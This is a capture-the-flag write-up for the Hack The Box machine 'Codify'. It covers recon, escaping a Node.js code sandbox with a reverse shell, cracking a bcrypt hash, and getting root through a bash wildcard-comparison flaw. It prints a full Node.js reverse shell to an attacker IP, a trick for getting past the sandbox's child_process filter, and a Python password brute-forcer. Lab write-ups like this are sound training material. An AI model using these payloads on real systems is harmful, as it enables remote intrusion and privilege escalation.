Codify

Created by kavigihan


Recon

We start with a Nmap scan and discover three open ports. Port 22, on which SSH is running, and two HTTP servers on 80 with Apache 2.4.52 and 3000 with a Node.js Express framework.

Running Gobuster on the endpoints, both provide the same directories.

┌──(0xb0b㉿kali)-[~/Documents/htb-app/codify]
└─$ gobuster dir -u http://codify.htb -w /usr/share/wordlists/dirb/big.txt 
┌──(0xb0b㉿kali)-[~/Documents/htb-app/codify]
└─$ gobuster dir -u http://codify.htb:3000 -w /usr/share/wordlists/dirb/big.txt

On the index page, we find the information that this is a Node.js sandbox, on which any Node.js code can be executed in order to test it.

Shell as svc

By clicking on Try it now, we are redirected to the editor. Here we try it right away with a reverse shell from the PayloadAllTheThings repository:

(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(8080, "10.10.14.122", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application form crashing
})();

But it fails; the use of child_process is not allowed.

We have to somehow bypass the check and find a slightly different call on child_process here:

require('node:child_process');

With this very slightly modified payload, we are able to spawn a reverse shell.

(function(){
    var net = require("net"),
        cp = require('node:child_process');
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(8080, "10.10.14.122", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application form crashing
})();

After setting up a listener and running the code snippet, our reverse shell connects. We are the user svc.

Shell as joshua

We find a database tickets.db at /var/www/contact, containing a hash for the user joshua.

We look up the correct mode for hashcat to crack it. It is a bcrypt hash; therefore, mode 3200 is required.

After some seconds, we retrieve the password using hashcat.

Since we have the SSH Port available, we connect using the found credentials. Here we find the user flag in the user's home directory.

Shell as root

We are allowed to run /opt/script/mysql-backup.sh using sudo.

This Bash script automates the process of MySQL database backup, prompting the user for the MySQL password and confirming its validity. It then proceeds to create backups of all databases except system databases, compressing them and storing them in the specified directory. Finally, it adjusts permissions on the backup directory to ensure appropriate access. Overall, it provides a secure and efficient way to manage MySQL backups with proper permission handling.

The script compares the password specified by the user $USER_PASS with the actual database password $DB_PASS.

The vulnerability here lies in the use of == within [[ ]] in Bash, which performs a pattern match rather than a direct string match.

Therefore, the user input is treated as a pattern, and if it contains a wildcard character, it can potentially match unintended strings.

By running the script and supplying an arbitrary password, we get the message Password confirmation failed!

By running the script and supplying * as password, we get the message Password confirmed!

With that information we are able to build a script, that tries alphanumeric characters in combination with the wildcard to check whether the execution was successful or not based on the exit status of os.system() that executes the script with the crafted password. Another approach could be based on the retrieved message.

brute.py
import string
import os
chars = string.ascii_letters + string.digits

password=''

c = True
while c:
    for char in chars:
        errorlevel =os.system("echo " + password + char +  "* | sudo /opt/scripts/mysql-backup.sh >/dev/null 2>&1")
        if errorlevel == 0:
            password += char
            print(password)
            break
    else:
         c = False
print(password)

We are able to brute force the DB_PASS.

This password is being reused by root. We change the user to root and find the root flag at /root/root.txt.

Last updated